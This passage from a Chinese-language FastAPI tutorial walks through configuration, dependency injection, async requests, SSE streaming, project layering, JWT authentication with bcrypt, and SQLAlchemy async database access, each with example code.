# 数据库配置
database_url: str = Field(..., description="数据库连接字符串")
db_pool_size: int = 10
# Redis 配置
redis_url: str = "redis://localhost:6379/0"
# JWT 配置
secret_key: str = Field(..., description="JWT 密钥")
access_token_expire_minutes: int = 15
# 第三方服务
aws_access_key: str = ""
aws_secret_key: str = ""
model_config = {
'env_file': '.env', # 从 .env 文件读取
'env_file_encoding': 'utf-8',
'case_sensitive': False, # 环境变量不区分大小写
'extra': 'ignore', # 忽略额外的环境变量
}
# 使用 lru_cache 缓存配置(只读取一次)
@lru_cache()
def get_settings() -> Settings:
return Settings()
# 在 FastAPI 中使用
from fastapi import Depends
def get_db(settings: Settings = Depends(get_settings)):
engine = create_engine(settings.database_url)
...
@app.get("/config")
async def show_config(settings: Settings = Depends(get_settings)):
return {"app_name": settings.app_name, "debug": settings.debug}
# .env 文件示例
# DATABASE_URL=postgresql://user:pass@localhost/mydb
# REDIS_URL=redis://localhost:6379/0
# SECRET_KEY=your-secret-key-here
# DEBUG=true
# 多环境配置
# .env.development
# DEBUG=true
# DATABASE_URL=sqlite:///dev.db
# .env.production
# DEBUG=false
# DATABASE_URL=postgresql://user:pass@prod-db/mydb
# 启动时指定环境文件
# uvicorn main:app --env-file .env.production
from typing import Annotated
from pydantic import Field
# FastAPI 推荐的类型组合方式
UserId = Annotated[int, Field(gt=0, description="用户ID")]
UserName = Annotated[str, Field(min_length=2, max_length=50, description="用户名")]
PageSize = Annotated[int, Field(ge=1, le=100, description="每页数量")]
@app.get("/users/{user_id}")
async def get_user(user_id: UserId): # 类型提示已经包含校验规则
...
@app.get("/users/")
async def list_users(
name: UserName = None,
page_size: PageSize = 20,
):
...
# 优点:
# 1. 类型复用:同一个约束可以在多处使用
# 2. 代码简洁:函数签名更清晰
# 3. 文档更好:自动生成的 API 文档包含描述
from pydantic import BaseModel, computed_field
from datetime import datetime
class UserResponse(BaseModel):
first_name: str
last_name: str
birth_year: int
@computed_field
@property
def full_name(self) -> str:
"""计算字段:全名"""
return f"{self.first_name} {self.last_name}"
@computed_field
@property
def age(self) -> int:
"""计算字段:年龄"""
return datetime.now().year - self.birth_year
# 使用
user = UserResponse(first_name="张", last_name="三", birth_year=1990)
print(user.model_dump())
# {'first_name': '张', 'last_name': '三', 'birth_year': 1990, 'full_name': '张三', 'age': 36}
依赖注入(Dependency Injection)是 FastAPI 最强大的特性之一——它让函数声明自己"需要什么",框架自动"提供什么"。
依赖注入就像餐厅的点菜系统。你(视图函数)不需要自己去厨房做饭(创建数据库连接),只需要在菜单上写"我要一份米饭"(声明依赖),服务员(FastAPI)自动把米饭端上来。
from fastapi import Depends, FastAPI, Query
app = FastAPI()
# 定义依赖函数
def get_pagination(
page: int = Query(1, ge=1),
size: int = Query(20, ge=1, le=100),
):
return {"page": page, "size": size, "offset": (page - 1) * size}
# 使用 Depends 注入
@app.get("/items")
def list_items(pagination: dict = Depends(get_pagination)):
# pagination 自动是 {"page": 1, "size": 20, "offset": 0}
return {"page": pagination["page"], "items": [...]}
from sqlalchemy.orm import Session
from fastapi import Depends
def get_db():
db = SessionLocal()
try:
yield db # yield:请求结束后自动关闭
finally:
db.close()
@app.post("/users")
def create_user(user: UserCreate, db: Session = Depends(get_db)):
db_user = User(**user.model_dump())
db.add(db_user)
db.commit()
db.refresh(db_user)
return db_user
# 依赖可以依赖其他依赖(链式注入)
def get_current_user(token: str = Depends(get_token)):
user = decode_token(token)
if not user:
raise HTTPException(status_code=401)
return user
def get_admin_user(user = Depends(get_current_user)):
if user.role != 'admin':
raise HTTPException(status_code=403)
return user
@app.delete("/users/{user_id}")
def delete_user(user_id: int, admin = Depends(get_admin_user)):
# 自动完成:获取 token → 解析用户 → 检查是否管理员
...
# 所有接口都需要认证
app = FastAPI(dependencies=[Depends(get_current_user)])
① 代码复用——认证、分页、数据库连接写一次,到处用。② 易测试——测试时可以用 app.dependency_overrides 替换依赖。③ 依赖关系清晰——看函数签名就知道它需要什么。
# 用类定义依赖(适合需要参数的场景)
class PaginationParams:
def __init__(self, page: int = 1, size: int = 20):
self.page = max(1, page)
self.size = min(100, max(1, size))
self.offset = (self.page - 1) * self.size
@app.get("/api/users")
def list_users(pagination: PaginationParams = Depends()):
users = db.query(User).offset(pagination.offset).limit(pagination.size).all()
return {"page": pagination.page, "size": pagination.size, "items": users}
# 带验证的依赖类
class DateRangeParams:
def __init__(
self,
start_date: date = Query(default=None),
end_date: date = Query(default=None),
):
if start_date and end_date and start_date > end_date:
raise HTTPException(400, "开始日期不能晚于结束日期")
self.start_date = start_date
self.end_date = end_date
@app.get("/api/orders")
def list_orders(dates: DateRangeParams = Depends()):
query = db.query(Order)
if dates.start_date:
query = query.filter(Order.created_at >= dates.start_date)
if dates.end_date:
query = query.filter(Order.created_at <= dates.end_date)
return query.all()
# yield 依赖——请求前初始化,请求后清理
# FastAPI 原生支持 generator 函数作为依赖,无需 @contextmanager 装饰器
def get_db():
db = SessionLocal()
try:
yield db # 请求期间使用
db.commit() # 请求成功则提交
except Exception:
db.rollback() # 请求失败则回滚
raise
finally:
db.close() # 无论如何都关闭连接
# 带缓存的依赖(同一请求内只执行一次)
from fastapi import Request
def get_current_user(request: Request):
# FastAPI 自动缓存依赖结果,同一请求内多次调用只执行一次
token = request.headers.get('Authorization', '').replace('Bearer ', '')
return decode_token(token)
# 认证 + 权限的依赖链
from fastapi import Security
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
security = HTTPBearer()
def get_current_user(
credentials: HTTPAuthorizationCredentials = Security(security),
) -> User:
token = credentials.credentials
user = decode_token(token)
if not user:
raise HTTPException(401, "无效的 Token")
return user
def require_role(role: str):
"""返回一个依赖函数,检查用户是否有指定角色"""
def check_role(user: User = Depends(get_current_user)):
if role not in user.roles:
raise HTTPException(403, f"需要 {role} 权限")
return user
return check_role
# 使用
@app.get("/api/admin/users")
def admin_users(admin = Depends(require_role("admin"))):
return db.query(User).all()
@app.get("/api/editor/articles")
def editor_articles(editor = Depends(require_role("editor"))):
return db.query(Article).all()
① 代码复用——认证、分页、数据库连接写一次,到处用。② 易测试——测试时可以用 app.dependency_overrides 替换依赖。③ 依赖关系清晰——看函数签名就知道它需要什么。④ 自动文档——FastAPI 根据依赖自动生成 OpenAPI 文档。
FastAPI 允许在测试中替换依赖:app.dependency_overrides[get_db] = override_get_db。这样测试不会连接真实数据库。测试完成后记得清理:app.dependency_overrides.clear()。
# 用 TestClient 测试 FastAPI 应用(完整示例)
from fastapi.testclient import TestClient
# 替换数据库依赖,使用测试数据库
def override_get_db():
db = TestingSessionLocal()
try:
yield db
finally:
db.close()
app.dependency_overrides[get_db] = override_get_db # 替换依赖
client = TestClient(app) # 创建测试客户端
def test_list_users():
response = client.get("/users/")
assert response.status_code == 200
assert isinstance(response.json(), list)
def test_create_user():
response = client.post("/users/", json={"name": "张三", "email": "test@example.com"})
assert response.status_code == 201
# 测试完成后清理
app.dependency_overrides.clear()
① 单一职责——每个依赖只做一件事。② 链式依赖——复杂逻辑拆分成多个小依赖。③ 可选依赖——用 Optional 类型标记可选依赖。④ 缓存依赖——同一请求内重复使用的依赖会被缓存。⑤ 工厂依赖——require_role("admin") 返回依赖函数。
FastAPI 原生支持异步——用 async/await 处理高并发请求。但异步不是银弹,用对场景才能发挥威力。
import asyncio
import httpx
# 同步方式(阻塞)
def sync_fetch():
import requests
r = requests.get("https://api.example.com/data") # 阻塞等待
return r.json()
# 异步方式(非阻塞)
async def async_fetch():
async with httpx.AsyncClient() as client:
r = await client.get("https://api.example.com/data") # 不阻塞,让出控制权
return r.json()
# 并发请求(异步的真正威力)
async def fetch_all():
async with httpx.AsyncClient() as client:
tasks = [
client.get("https://api.example.com/users"),
client.get("https://api.example.com/items"),
client.get("https://api.example.com/orders"),
]
responses = await asyncio.gather(*tasks) # 3 个请求并发执行
return [r.json() for r in responses]
同步像排队买奶茶——你站在柜台前等,什么也干不了。
异步像取号等餐——你拿了号可以先去逛别的,叫到你了再去取。在等待的时间里,你可以做其他事。async/await 就是"取号"和"取餐"的指令。
# 异步接口
@app.get("/async-data")
async def get_data():
data = await fetch_from_db() # 异步数据库查询
return data
# 同步接口(FastAPI 自动放到线程池)
@app.get("/sync-data")
def get_data_sync():
data = fetch_from_db_sync() # 同步数据库查询
return data
from fastapi import BackgroundTasks
def send_email(email: str, subject: str):
"""发送邮件(耗时操作)"""
import time
time.sleep(5) # 模拟耗时
print(f"邮件已发送到 {email}")
def write_log(user_id: int, action: str):
"""记录操作日志"""
with open("audit.log", "a") as f:
f.write(f"{datetime.now()} user={user_id} action={action}\n")
@app.post("/register")
def register(user: UserCreate, background_tasks: BackgroundTasks):
# 1. 创建用户(同步,立即返回)
db_user = create_user(user)
# 2. 发送欢迎邮件(后台执行,不阻塞响应)
background_tasks.add_task(send_email, user.email, "欢迎注册")
# 3. 记录日志(后台执行)
background_tasks.add_task(write_log, db_user.id, "register")
return {"message": "注册成功"}
# gather 的错误处理
import asyncio
async def fetch_data(urls: list[str]):
async with httpx.AsyncClient() as client:
tasks = [client.get(url) for url in urls]
# 方式1:一个失败全部失败
# results = await asyncio.gather(*tasks)
# 方式2:一个失败不影响其他(推荐)
results = await asyncio.gather(*tasks, return_exceptions=True)
for i, result in enumerate(results):
if isinstance(result, Exception):
print(f"请求 {urls[i]} 失败: {result}")
else:
print(f"请求 {urls[i]} 成功: {result.status_code}")
return results
# 超时控制
async def fetch_with_timeout(url: str, timeout: float = 5.0):
try:
async with httpx.AsyncClient() as client:
response = await client.get(url, timeout=timeout)
return response.json()
except httpx.TimeoutException:
return {"error": "请求超时"}
except httpx.RequestError as e:
return {"error": f"请求失败: {e}"}
# SQLAlchemy 异步模式
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker
# 异步引擎(需要 asyncpg 或 aiomysql 驱动)
engine = create_async_engine('postgresql+asyncpg://user:pass@localhost/mydb')
async_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)
async def get_async_db():
async with async_session() as session:
yield session
# 异步查询
@app.get("/api/users")
async def list_users(db: AsyncSession = Depends(get_async_db)):
result = await db.execute(select(User).limit(10))
users = result.scalars().all()
return users
# 异步写入
@app.post("/api/users")
async def create_user(data: UserCreate, db: AsyncSession = Depends(get_async_db)):
user = User(**data.model_dump())
db.add(user)
await db.commit()
await db.refresh(user)
return user
# 控制并发数量(防止同时发太多请求)
import asyncio
semaphore = asyncio.Semaphore(10) # 最多 10 个并发
async def fetch_limited(url: str):
async with semaphore: # 获取信号量
async with httpx.AsyncClient() as client:
return await client.get(url)
# 批量请求但限制并发
urls = [f"https://api.example.com/users/{i}" for i in range(100)]
results = await asyncio.gather(*[fetch_limited(url) for url in urls])
① 调用外部 API(httpx、aiohttp)。② 读写文件(aiofiles)。③ WebSocket 连接。④ 需要高并发的场景。⑤ 多个独立请求需要并发执行(asyncio.gather)。如果只是简单的数据库操作(SQLAlchemy 同步模式),用 def 就行,不需要 async def。
BackgroundTasks 在同一个进程内执行——如果服务器重启,未完成的任务会丢失。对于重要的后台任务(如支付回调、邮件发送),用 Celery + 消息队列更可靠。
SSE 是服务器向客户端推送数据的技术——适合 AI 应用(ChatGPT 流式输出)、实时通知、进度推送。
from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio
import json
app = FastAPI()
# 基础 SSE 流式响应
@app.get("/stream")
async def stream():
async def event_generator():
for i in range(10):
# SSE 格式:data: 内容\n\n
yield f"data: {json.dumps({'count': i})}\n\n"
await asyncio.sleep(1) # 模拟耗时操作
return StreamingResponse(
event_generator(),
media_type="text/event-stream",
headers={
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"X-Accel-Buffering": "no", # Nginx 禁用缓冲
}
)
# AI 应用流式输出(模拟 ChatGPT)
@app.post("/chat")
async def chat(message: str):
async def generate_response():
# 模拟 LLM 逐字输出
response = "你好!我是 AI 助手,很高兴为你服务。"
for char in response:
yield f"data: {json.dumps({'content': char})}\n\n"
await asyncio.sleep(0.05) # 模拟生成延迟
yield "data: [DONE]\n\n" # 结束标记
return StreamingResponse(
generate_response(),
media_type="text/event-stream"
)
# 带错误处理的 SSE
@app.get("/stream-safe")
async def stream_safe():
async def event_generator():
try:
for i in range(100):
data = await fetch_some_data(i)
yield f"data: {json.dumps(data)}\n\n"
await asyncio.sleep(1)
except asyncio.CancelledError:
# 客户端断开连接
print("客户端断开连接")
except Exception as e:
# 发送错误事件
yield f"event: error\ndata: {json.dumps({'error': str(e)})}\n\n"
return StreamingResponse(event_generator(), media_type="text/event-stream")
# 前端 JavaScript 接收(GET 请求用 EventSource)
# const eventSource = new EventSource('/stream');
# eventSource.onmessage = (event) => {
# const data = JSON.parse(event.data);
# console.log(data);
# };
# eventSource.onerror = (error) => {
# console.error('SSE error:', error);
# eventSource.close();
# };
# 前端 JavaScript 接收(POST 请求用 fetch + ReadableStream,如 AI 聊天场景)
# async function streamChat(prompt) {
# const response = await fetch('/chat', {
# method: 'POST',
# headers: {'Content-Type': 'application/json'},
# body: JSON.stringify({prompt})
# });
# const reader = response.body.getReader();
# const decoder = new TextDecoder();
# while (true) {
# const {done, value} = await reader.read();
# if (done) break;
# const text = decoder.decode(value);
# console.log(text);
# }
# }
① BackgroundTasks:轻量、进程内、任务丢失风险。适合日志记录、发送通知等非关键任务。② Celery:分布式、持久化、重试机制。适合支付回调、邮件发送、数据同步等关键任务。③ 选择依据:任务是否允许丢失?是否需要重试?是否需要分布式执行?
① 不要在异步函数中调用同步阻塞操作(如 time.sleep)。② 用 asyncio.gather 并发执行多个异步任务。③ 用 Semaphore 控制并发数量。④ 异步操作要处理超时和异常。⑤ 数据库用异步驱动(asyncpg/aiomysql)。⑥ 不要混用同步和异步数据库操作。⑦ SSE 流式响应用 StreamingResponse,设置正确的响应头。
一个真实的 FastAPI 项目不应该把所有代码写在一个文件里。合理的分层架构让代码可维护、可测试、可协作。
分层架构就像餐厅的分工——前台(Router)负责接待客人、后厨(Service)负责做菜、仓库(Repository)负责存取食材、采购(Config)负责进货。每个环节各司其职,互不干扰。
my-fastapi-project/
├── app/
│ ├── __init__.py
│ ├── main.py # 应用入口:创建 app、注册路由、中间件
│ ├── config.py # 配置管理:环境变量、Pydantic Settings
│ ├── database.py # 数据库连接:引擎、Session、依赖
│ ├── dependencies.py # 公共依赖:认证、分页、权限
│ ├── exceptions.py # 自定义异常 + 全局异常处理器
│ ├── routers/ # 路由层:只负责接收请求、返回响应
│ │ ├── __init__.py
│ │ ├── users.py
│ │ ├── articles.py
│ │ └── auth.py
│ ├── schemas/ # 数据模型:Pydantic Schema(请求/响应)
│ │ ├── __init__.py
│ │ ├── user.py
│ │ └── article.py
│ ├── models/ # ORM 模型:SQLAlchemy Model(数据库表)
│ │ ├── __init__.py
│ │ ├── user.py
│ │ └── article.py
│ ├── services/ # 业务逻辑层:核心业务处理
│ │ ├── __init__.py
│ │ ├── user_service.py
│ │ └── article_service.py
│ └── utils/ # 工具函数:通用工具
│ ├── __init__.py
│ ├── security.py # 密码哈希、JWT 编解码
│ └── helpers.py
├── alembic/ # 数据库迁移
├── tests/ # 测试
├── alembic.ini
├── pyproject.toml
├── Dockerfile
├── docker-compose.yml
└── .env # 环境变量(不要提交到 Git)
| 层 | 职责 | 依赖方向 | 示例 |
|---|---|---|---|
| Router(路由层) | 接收 HTTP 请求、参数校验、返回响应 | → Service | @router.get("/users") |
| Service(服务层) | 核心业务逻辑、事务管理 | → Repository / Model | create_user()、transfer_money() |
| Repository(数据层) | 数据库 CRUD 操作封装 | → Model | get_user_by_id()、save() |
| Schema(模式层) | 请求/响应数据结构定义 | 无 | UserCreate、UserOut |
| Model(模型层) | 数据库表结构定义 | 无 | class User(Base) |
# app/config.py
from pydantic_settings import BaseSettings
from functools import lru_cache
class Settings(BaseSettings):
# 应用配置
APP_NAME: str = "My API"
DEBUG: bool = False
VERSION: str = "1.0.0"
# 数据库配置
DATABASE_URL: str = "postgresql+asyncpg://user:pass@localhost/mydb"
# Redis 配置
REDIS_URL: str = "redis://localhost:6379/0"
# JWT 配置
SECRET_KEY: str = "your-secret-key-change-in-production"
ALGORITHM: str = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES: int = 30
# CORS 配置
ALLOWED_ORIGINS: list[str] = ["http://localhost:3000"]
model_config = {
"env_file": ".env", # 从 .env 文件读取
"env_file_encoding": "utf-8",
"case_sensitive": True,
}
@lru_cache() # 缓存配置,避免重复读取
def get_settings() -> Settings:
return Settings()
# 使用示例
settings = get_settings()
print(settings.DATABASE_URL) # 自动从环境变量或 .env 读取
# .env 文件(不要提交到 Git!加入 .gitignore)
DATABASE_URL=postgresql+asyncpg://user:password@localhost:5432/mydb
SECRET_KEY=my-super-secret-key-2026
DEBUG=true
REDIS_URL=redis://localhost:6379/0
# app/main.py
from contextlib import asynccontextmanager
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from app.config import get_settings
from app.database import engine
from app.routers import users, articles, auth
from app.exceptions import register_exception_handlers
import logging
settings = get_settings()
# 配置日志
logging.basicConfig(
level=logging.DEBUG if settings.DEBUG else logging.INFO,
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
)
logger = logging.getLogger(__name__)
@asynccontextmanager
async def lifespan(app: FastAPI):
logger.info("应用启动:初始化资源")
# 启动时:初始化数据库连接池、预热缓存等
yield
logger.info("应用关闭:清理资源")
# 关闭时:关闭连接池、清理临时文件等
app = FastAPI(
title=settings.APP_NAME,
version=settings.VERSION,
lifespan=lifespan,
)
# 注册 CORS 中间件
app.add_middleware(
CORSMiddleware,
allow_origins=settings.ALLOWED_ORIGINS,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# 注册全局异常处理器
register_exception_handlers(app)
# 注册路由
app.include_router(auth.router, prefix="/auth", tags=["认证"])
app.include_router(users.router, prefix="/users", tags=["用户"])
app.include_router(articles.router, prefix="/articles", tags=["文章"])
@app.get("/health")
async def health_check():
return {"status": "ok", "version": settings.VERSION}
# app/utils/logger.py
import logging
import sys
from app.config import get_settings
def setup_logger(name: str) -> logging.Logger:
settings = get_settings()
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG if settings.DEBUG else logging.INFO)
# 控制台输出
handler = logging.StreamHandler(sys.stdout)
handler.setLevel(logging.DEBUG if settings.DEBUG else logging.INFO)
# 日志格式
formatter = logging.Formatter(
"%(asctime)s | %(levelname)-8s | %(name)s:%(funcName)s:%(lineno)d | %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
)
handler.setFormatter(formatter)
logger.addHandler(handler)
return logger
# 在各模块中使用
# from app.utils.logger import setup_logger
# logger = setup_logger(__name__)
# logger.info("用户登录成功", extra={"user_id": 123})
① 可测试——Service 层可以独立测试,不需要启动 HTTP 服务器。② 可维护——修改业务逻辑只动 Service 层,不影响路由和数据库。③ 可协作——多人开发时各写各的层,不会冲突。④ 可复用——同一个 Service 方法可以被多个路由调用。
小型项目(< 10 个接口)不需要严格分层——把路由和业务逻辑放在一起就行。中型项目(10-50 个接口)建议 Router + Service 两层。大型项目(> 50 个接口)再加 Repository 层。过度分层比不分层更糟糕。
安全是后端开发的生命线。FastAPI 内置了完善的安全工具——OAuth2、JWT、依赖注入让认证变得简单而安全。
认证系统就像酒店的门禁——密码是房卡(你知道什么),JWT Token是临时通行证(你拥有什么),OAuth2是用身份证委托办理(第三方授权)。酒店前台(FastAPI)验证你的身份后,给你一张通行证(Token),之后每次进出刷卡就行。
# app/utils/security.py
from passlib.context import CryptContext
from datetime import datetime, timedelta
from jose import jwt, JWTError
from app.config import get_settings
settings = get_settings()
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
# 密码哈希
def hash_password(password: str) -> str:
return pwd_context.hash(password)
# 密码验证
def verify_password(plain_password: str, hashed_password: str) -> bool:
return pwd_context.verify(plain_password, hashed_password)
# JWT Token 生成
def create_access_token(data: dict, expires_delta: timedelta | None = None) -> str:
to_encode = data.copy()
expire = datetime.utcnow() + (expires_delta or timedelta(minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES))
to_encode.update({"exp": expire})
return jwt.encode(to_encode, settings.SECRET_KEY, algorithm=settings.ALGORITHM)
# JWT Token 验证
def decode_access_token(token: str) -> dict | None:
try:
payload = jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])
return payload
except JWTError:
return None
# app/dependencies.py
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from sqlalchemy.ext.asyncio import AsyncSession
from app.database import get_db
from app.utils.security import decode_access_token
from app.models.user import User
# OAuth2 方案:告诉 FastAPI token 从哪里获取
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")
# 获取当前用户(依赖注入)
async def get_current_user(
token: str = Depends(oauth2_scheme),
db: AsyncSession = Depends(get_db),
) -> User:
credentials_exception = HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="无效的认证凭据",
headers={"WWW-Authenticate": "Bearer"},
)
# 解析 token
payload = decode_access_token(token)
if payload is None:
raise credentials_exception
user_id: int = payload.get("sub")
if user_id is None:
raise credentials_exception
# 查询用户
user = await db.get(User, user_id)
if user is None:
raise credentials_exception
return user
# 角色权限依赖
def require_role(*roles: str):
"""工厂模式:返回一个依赖函数,检查用户是否具有指定角色"""
async def role_checker(current_user: User = Depends(get_current_user)):
if current_user.role not in roles:
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=f"需要以下角色之一:{', '.join(roles)}"
)
return current_user
return role_checker
# app/routers/auth.py
from fastapi import APIRouter, Depends, HTTPException, status
from fastapi.security import OAuth2PasswordRequestForm
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from app.database import get_db
from app.models.user import User
from app.schemas.user import UserCreate, UserOut, Token
from app.utils.security import hash_password, verify_password, create_access_token
from app.dependencies import get_current_user
router = APIRouter()
@router.post("/register", response_model=UserOut, status_code=201)
async def register(user_data: UserCreate, db: AsyncSession = Depends(get_db)):
# 检查用户名是否已存在
existing = await db.execute(select(User).where(User.username == user_data.username))
if existing.scalar_one_or_none():
raise HTTPException(400, "用户名已存在")
# 创建用户(密码哈希存储)
user = User(
username=user_data.username,
email=user_data.email,
hashed_password=hash_password(user_data.password),
)
db.add(user)
await db.commit()
await db.refresh(user)
return user
@router.post("/login", response_model=Token)
async def login(
form_data: OAuth2PasswordRequestForm = Depends(), # 接收 username + password
db: AsyncSession = Depends(get_db),
):
# 验证用户
result = await db.execute(select(User).where(User.username == form_data.username))
user = result.scalar_one_or_none()
if not user or not verify_password(form_data.password, user.hashed_password):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="用户名或密码错误",
headers={"WWW-Authenticate": "Bearer"},
)
# 生成 Token
access_token = create_access_token(data={"sub": str(user.id)})
return {"access_token": access_token, "token_type": "bearer"}
@router.get("/me", response_model=UserOut)
async def get_me(current_user: User = Depends(get_current_user)):
"""获取当前用户信息(需要认证)"""
return current_user
# app/dependencies.py
from fastapi import Security, HTTPException
from fastapi.security import APIKeyHeader
api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)
async def verify_api_key(api_key: str = Security(api_key_header)):
if api_key is None:
raise HTTPException(401, "缺少 API Key")
# 从数据库或缓存中验证 API Key
valid_keys = await get_valid_api_keys()
if api_key not in valid_keys:
raise HTTPException(403, "无效的 API Key")
return api_key
# 使用
@router.get("/external/data")
async def get_data(api_key: str = Depends(verify_api_key)):
return {"data": "这是需要 API Key 才能访问的数据"}
① 永远不要明文存储密码——用 bcrypt 哈希。② Token 要有有效期——推荐 30 分钟-2 小时。③ HTTPS 必须——生产环境禁止 HTTP 传输 Token。④ 敏感接口加频率限制——防止暴力破解。⑤ 日志不要记录密码和 Token——防止泄露。
① 密码模式(本章示例)——适合自有前端。② 授权码模式——适合第三方登录(GitHub、Google)。③ 客户端模式——适合服务间通信。④ 隐式模式——已不推荐,安全性差。初学者掌握密码模式即可,其他模式用到再学。
数据库是后端的核心。本章讲如何在 FastAPI 中优雅地使用 SQLAlchemy 2.0 异步模式 + Alembic 数据库迁移。
# app/database.py
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession, async_sessionmaker
from sqlalchemy.orm import DeclarativeBase
from app.config import get_settings
settings = get_settings()
# 创建异步引擎
engine = create_async_engine(
settings.DATABASE_URL,
echo=settings.DEBUG, # DEBUG 模式下打印 SQL
pool_size=20, # 连接池大小
max_overflow=10, # 允许额外创建的连接数
pool_pre_ping=True, # 使用前检测连接是否有效
)
# 创建异步 Session 工厂
AsyncSessionLocal = async_sessionmaker(
engine,
class_=AsyncSession,
expire_on_commit=False,
)
# ORM 基类
class Base(DeclarativeBase):
pass
# 依赖注入:获取数据库 Session
async def get_db():
async with AsyncSessionLocal() as session:
try:
yield session
await session.commit()
except Exception:
await session.rollback()
raise
finally:
await session.close()
# app/models/user.py
from sqlalchemy import Column, Integer, String, Boolean, DateTime, func
from sqlalchemy.orm import relationship
from app.database import Base
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True, index=True)
username = Column(String(50), unique=True, nullable=False, index=True)
email = Column(String(100), unique=True, nullable=False, index=True)
hashed_password = Column(String(128), nullable=False)
is_active = Column(Boolean, default=True)
role = Column(String(20), default="user") # user / admin
created_at = Column(DateTime(timezone=True), server_default=func.now())
updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now())
# 关系
articles = relationship("Article", back_populates="author")
class Article(Base):
__tablename__ = "articles"
id = Column(Integer, primary_key=True, index=True)
title = Column(String(200), nullable=False)
content = Column(String, nullable=False)
author_id = Column(Integer, ForeignKey("users.id"), nullable=False)
is_published = Column(Boolean, default=False)
created_at = Column(DateTime(timezone=True), server_default=func.now())
author = relationship("User", back_populates="articles")
# app/services/user_service.py
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, func
from sqlalchemy.exc import IntegrityError
from fastapi import HTTPException
from app.models.user import User
from app.schemas.user import UserCreate, UserUpdate
from app.utils.security import hash_password
class UserService:
def __init__(self, db: AsyncSession):
self.db = db
async def get_user_by_id(self, user_id: int) -> User | None:
return await self.db.get(User, user_id)
async def get_user_by_username(self, username: str) -> User | None:
result = await self.db.execute(select(User).where(User.username == username))
return result.scalar_one_or_none()
async def list_users(self, page: int = 1, size: int = 20) -> tuple[list[User], int]:
# 总数
count_result = await self.db.execute(select(func.count(User.id)))
total = count_result.scalar()
# 分页查询
offset = (page - 1) * size
result = await self.db.execute(
select(User).order_by(User.id.desc()).offset(offset).limit(size)
)
users = result.scalars().all()
return users, total
async def create_user(self, data: UserCreate) -> User:
user = User(
username=data.username,
email=data.email,
hashed_password=hash_password(data.password),
)
self.db.add(user)
try:
await self.db.flush() # 刷新到数据库(不提交)
await self.db.refresh(user)
return user
except IntegrityError:
await self.db.rollback()
raise HTTPException(400, "用户名或邮箱已存在")
async def update_user(self, user_id: int, data: UserUpdate) -> User:
user = await self.get_user_by_id(user_id)
if not user:
raise HTTPException(404, "用户不存在")
update_data = data.model_dump(exclude_unset=True) # 只更新传了的字段
if "password" in update_data:
update_data["hashed_password"] = hash_password(update_data.pop("password"))
for key, value in update_data.items():
setattr(user, key, value)
await self.db.flush()
await self.db.refresh(user)
return user
async def delete_user(self, user_id: int) -> None:
user = await self.get_user_by_id(user_id)
if not user:
raise HTTPException(404, "用户不存在")
await self.db.delete(user)
# app/routers/users.py
from fastapi import APIRouter, Depends, Query
from sqlalchemy.ext.asyncio import AsyncSession
from app.database import get_db
from app.dependencies import get_current_user, require_role
from app.schemas.user import UserCreate, UserOut, UserUpdate
from app.services.user_service import UserService
router = APIRouter()
@router.get("/", response_model=dict)
async def list_users(
page: int = Query(1, ge=1),
size: int = Query(20, ge=1, le=100),
db: AsyncSession = Depends(get_db),
):
service = UserService(db)
users, total = await service.list_users(page, size)
return {
"items": [UserOut.model_validate(u) for u in users],
"total": total,
"page": page,
"size": size,
}
@router.post("/", response_model=UserOut, status_code=201)
async def create_user(data: UserCreate, db: AsyncSession = Depends(get_db)):
service = UserService(db)
return await service.create_user(data)
@router.get("/me", response_model=UserOut)
async def get_me(current_user = Depends(get_current_user)):
return current_user
@router.delete("/{user_id}", status_code=204)
async def delete_user(
user_id: int,
admin = Depends(require_role("admin")), # 只有管理员能删除
db: AsyncSession = Depends(get_db),
):
service = UserService(db)
await service.delete_user(user_id)
# 初始化 Alembic(在项目根目录执行)
# pip install alembic
# alembic init alembic
# alembic/env.py 关键配置
from app.database import Base
from app.models import user, article # 导入所有模型,让 Alembic 能检测到
target_metadata = Base.metadata
# 常用命令
# alembic revision --autogenerate -m "create users table" # 自动生成迁移脚本
# alembic upgrade head # 执行所有迁移
# alembic downgrade -1 # 回滚一步
# alembic history # 查看迁移历史
# alembic current # 查看当前版本
FastAPI + SQLAlchemy 2.0 推荐异步模式(AsyncSession + asyncpg),性能更好。但注意:异步 Session 不能在同步函数中使用——如果你的路由用 def(不是 async def),会报错。简单规则:用异步 Session 就写 async def。
① 不要混用同步和异步 Session——会导致连接池耗尽。② 不要在 Session 外访问懒加载关系——会报 MissingGreenlet 错误。用 selectinload() 预加载。③ commit 后不要继续操作对象——用 expire_on_commit=False。④ 批量操作用 bulk_insert / bulk_update——逐条插入性能很差。
测试是代码质量的保障。FastAPI 提供了基于 httpx 的 TestClient,配合 pytest 可以轻松编写 API 测试。
# tests/test_users.py
import pytest
from httpx import AsyncClient, ASGITransport
from app.main import app
from app.database import get_db, AsyncSessionLocal
from app.models.user import Base
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker
# 测试数据库配置
TEST_DATABASE_URL = "postgresql+asyncpg://user:pass@localhost:5432/test_db"
